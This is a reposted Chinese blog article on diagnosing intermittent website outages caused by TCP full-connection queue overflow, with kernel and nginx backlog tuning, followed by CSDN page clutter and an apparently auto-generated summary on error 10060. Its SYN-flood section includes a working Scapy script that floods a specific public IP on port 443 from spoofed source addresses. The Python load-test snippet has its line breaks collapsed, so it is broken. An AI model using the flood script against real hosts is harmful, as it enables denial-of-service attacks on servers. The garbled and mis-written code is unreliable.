网站 TCP 队列问题排查

一、问题描述

1、监控系统发现电商网站主页及其它页面间歇性的无法访问
2、查看安全防护和网络流量、应用系统负载均正常;
3、系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

二、问题初步判断

1、检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常

命令 cat /proc/net/dev 和 ifconfig

2、观察socket overflow 和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)

命令 netstat -s |grep -i listen

这里写图片描述

3、检查sysctl内核参数:backlog ,somaxconn,file-max 和 应用程序的backlog;
ss -lnt查询,SEND-Q会取上述参数的最小值
这里写图片描述

4、检查 selinux 和 NetworkManager 是否启用 ,建议禁用;
5、检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle;
6、抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

三、 深入分析问题

1、正常TCP建连接三次握手过程:
这里写图片描述
第一步:客户端 发送 syn 到 服务端发起握手;
第二步:服务端 收到 syn后回复syn+ack给 客户端;
第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

2、接着查看溢出后,OS怎么处理

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow
0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

3、为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

4、接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

5、查看sysctl内核参数:backlog ,somaxconn,file-max 和 nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

linux内核参进行优化:
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 16384
net.core.somaxconn = 16384

nginx 配置参数优化:
backlog=32768;

6、利用python 多线程压测,并未发现新的问题

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
    for each_a_tag in soup.find_all('a'):
        try:
            ex.submit(requests.get,each_a_tag['href'])
        except Exception as err:
            print('return error msg:'+str(err))

7、理解TCP握手过程中建连接的流程和队列
这里写图片描述

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

四、SYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)

tgt = '139.196.251.198'
print(tgt)
dPort = 443

with ThreadPoolExecutor(10000000) as ex:
    try:
        ex.submit(synFlood(tgt,dPort))
    except Exception as err:
        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发。

出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制。

备注:本文转载https://zhuanlan.zhihu.com/p/36731397

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用\[1\]:根据提供的引用内容,报错10060是指TCP通信超时的错误。在问题描述中,报错解析中提到0x745是通信超时报错的意思。这可能是由于程序写错导致modbus TCP访问出错,或者是频繁非法访问导致TCP被关闭,例如ping不同的IP地址。为了解决这个问题,可以对程序进行优化,确保正确访问modbus TCP。另外,还可以按照排查Modbus TCP通信基本流程进行检查,包括设置服务端的IP地址、检查网络连接是否正常等。\[1\] 引用\[2\]:另外,引用\[2\]提到,报错10060也可能是因为TCP连接数上限导致客户端异常。可以通过查看配置文件来进行配置,例如修改/etc/sysctl.conf文件,设置net.ipv4.tcp_max_tw_buckets和net.ipv4.tcp_max_syn_backlog等参数,以增加系统同时保持TIME_WAIT套接字的最大数量和SYN队列的长度,从而容纳更多等待连接的网络连接数。\[2\] 综上所述,报错10060可能是由于TCP通信超时或TCP连接数上限导致的。可以通过优化程序、检查网络连接和调整系统配置等方法来解决这个问题。 #### 引用[.reference_title] - *1* [倍福--Modbus TCP通信报错原因分析](https://blog.csdn.net/weixin_41883890/article/details/124218731)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [服务器tcp连接上限问题解决:报错代码10060 由于连接方在一段时间后没有正确答复或连接的主机没有反应](https://blog.csdn.net/weixin_40580582/article/details/98860240)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [两个西门子PLC1200之间的TCP通讯②--TSEND](https://blog.csdn.net/danikor/article/details/108513928)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值